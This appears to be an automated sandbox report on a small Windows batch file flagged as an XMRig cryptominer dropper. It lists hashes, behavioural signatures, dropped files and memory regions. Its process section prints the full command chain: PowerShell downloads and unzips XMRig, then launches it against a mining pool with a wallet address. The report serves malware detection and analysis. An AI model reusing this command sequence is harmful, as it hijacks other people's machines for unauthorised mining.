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Analysis

  • max time kernel
    1793s
  • max time network
    1792s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/12/2023, 04:40

General

  • Target

    tesy - Copy.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2988
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1164
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4636
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2556

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    95a03b8d0e9d2906f7443f02afb8ec89

    SHA1

    cd0df0f1221d896c1468bb3f992c92d4ee8f9c01

    SHA256

    b27574bf70526ac084dd17a63458561a4a9ce11c1ef895ecdd95d4f02b9bf22f

    SHA512

    e011724cb6d15791c9dbd2872d6184e85ac52e84bad168f4138d21fe2a728ff5e992e88fd82719751f8f744d63b2d84aa5f1c4e65a9c019f30b8e962bd6e2ba7

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_12zlttcm.si5.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    173KB

    MD5

    3d8f88123aaa8b0267040c8e9f8c48ef

    SHA1

    330437757f564428821e5bc736b0b232f8f0271c

    SHA256

    d3790403db30ad91ae818f60eef7663eb24b74612746ff815517a0bb791ece21

    SHA512

    535116756129fbf8c2c53cb45ced08d4302a0ef8245e5b56ac5554fcfed496073e26b3c6da399686eabbf6059f487dc1310498b62a9adb358af84f93953130cc

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    1.1MB

    MD5

    7188d3651a917bd49474412a8f8d33e7

    SHA1

    be51a3d28ae59dfd6d929db67a87bf0188cd406a

    SHA256

    5d49d1a583f3b9e302237c964979a5be5e986e7dffe19b1053916dfc0a4d2e3d

    SHA512

    55890cba6dead4564366c6d69f2df331fd3ca038d0eeceddfa0dd4e592531566fa3569c97cf1d61e288754946b471f677057321b7f10e6ad31aad72321802889

  • memory/1164-25-0x000001A798510000-0x000001A798520000-memory.dmp

    Filesize

    64KB

  • memory/1164-10-0x000001A798620000-0x000001A798696000-memory.dmp

    Filesize

    472KB

  • memory/1164-26-0x00007FFD519D0000-0x00007FFD523BC000-memory.dmp

    Filesize

    9.9MB

  • memory/1164-27-0x000001A798510000-0x000001A798520000-memory.dmp

    Filesize

    64KB

  • memory/1164-28-0x000001A798510000-0x000001A798520000-memory.dmp

    Filesize

    64KB

  • memory/1164-35-0x00007FFD519D0000-0x00007FFD523BC000-memory.dmp

    Filesize

    9.9MB

  • memory/1164-5-0x00007FFD519D0000-0x00007FFD523BC000-memory.dmp

    Filesize

    9.9MB

  • memory/1164-4-0x000001A798460000-0x000001A798482000-memory.dmp

    Filesize

    136KB

  • memory/1164-9-0x000001A798510000-0x000001A798520000-memory.dmp

    Filesize

    64KB

  • memory/1164-8-0x000001A798510000-0x000001A798520000-memory.dmp

    Filesize

    64KB

  • memory/2556-143-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-151-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-189-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-188-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-187-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-186-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-121-0x000001D376B90000-0x000001D376BB0000-memory.dmp

    Filesize

    128KB

  • memory/2556-185-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-122-0x000001D376BE0000-0x000001D376C20000-memory.dmp

    Filesize

    256KB

  • memory/2556-123-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-125-0x000001D376C20000-0x000001D376C40000-memory.dmp

    Filesize

    128KB

  • memory/2556-124-0x000001D376C40000-0x000001D376C60000-memory.dmp

    Filesize

    128KB

  • memory/2556-126-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-127-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-130-0x000001D376C20000-0x000001D376C40000-memory.dmp

    Filesize

    128KB

  • memory/2556-129-0x000001D376C40000-0x000001D376C60000-memory.dmp

    Filesize

    128KB

  • memory/2556-128-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-131-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-132-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-133-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-134-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-135-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-136-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-137-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-138-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-139-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-140-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-141-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-142-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-184-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-144-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-145-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-146-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-147-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-148-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-149-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-150-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-183-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-152-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-153-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-154-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-155-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-156-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-157-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-158-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-159-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-160-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-161-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-162-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-163-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-164-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-165-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-166-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-167-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-168-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-169-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-170-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-171-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-172-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-173-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-174-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-175-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-176-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-177-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-178-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-179-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-180-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-181-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/2556-182-0x00007FF6704A0000-0x00007FF670FA3000-memory.dmp

    Filesize

    11.0MB

  • memory/4636-67-0x000001B8F8B50000-0x000001B8F8B60000-memory.dmp

    Filesize

    64KB

  • memory/4636-44-0x000001B8F8B50000-0x000001B8F8B60000-memory.dmp

    Filesize

    64KB

  • memory/4636-43-0x000001B8F8B50000-0x000001B8F8B60000-memory.dmp

    Filesize

    64KB

  • memory/4636-118-0x00007FFD519D0000-0x00007FFD523BC000-memory.dmp

    Filesize

    9.9MB

  • memory/4636-41-0x00007FFD519D0000-0x00007FFD523BC000-memory.dmp

    Filesize

    9.9MB

  • memory/4636-94-0x000001B8F8AC0000-0x000001B8F8ACA000-memory.dmp

    Filesize

    40KB

  • memory/4636-81-0x000001B8F8B30000-0x000001B8F8B42000-memory.dmp

    Filesize

    72KB